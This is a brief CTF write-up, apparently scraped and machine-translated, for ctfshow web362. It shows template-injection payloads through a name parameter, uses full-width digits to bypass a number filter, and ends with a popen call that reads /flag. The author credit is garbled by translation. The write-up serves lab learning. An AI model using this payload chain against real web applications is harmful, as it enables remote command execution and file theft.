当前位置：网站首页>ctfshow-web362(SSTI)

ctfshow-web362(SSTI)

?name={
   {"".__class__.__bases__[0].__subclasses__()}}

It's normal up to this point

from 12 It didn't work at first

There's a problem with the numbers , see wp Use full angle numbers instead of normal numbers to bypass

?name={
   {"".__class__.__bases__[0].__subclasses__()[１３２]}}

Then you should be able to do it in the normal way

?name={
   {"".__class__.__bases__[0].__subclasses__()[１３２].__init__.__globals__['popen']('cat /flag').read()}}

版权声明
本文为[m0_ sixty-two million ninety-four thousand eight hundred and fo]所创，转载请带上原文链接，感谢
https://yzsam.com/2022/04/202204231829007951.html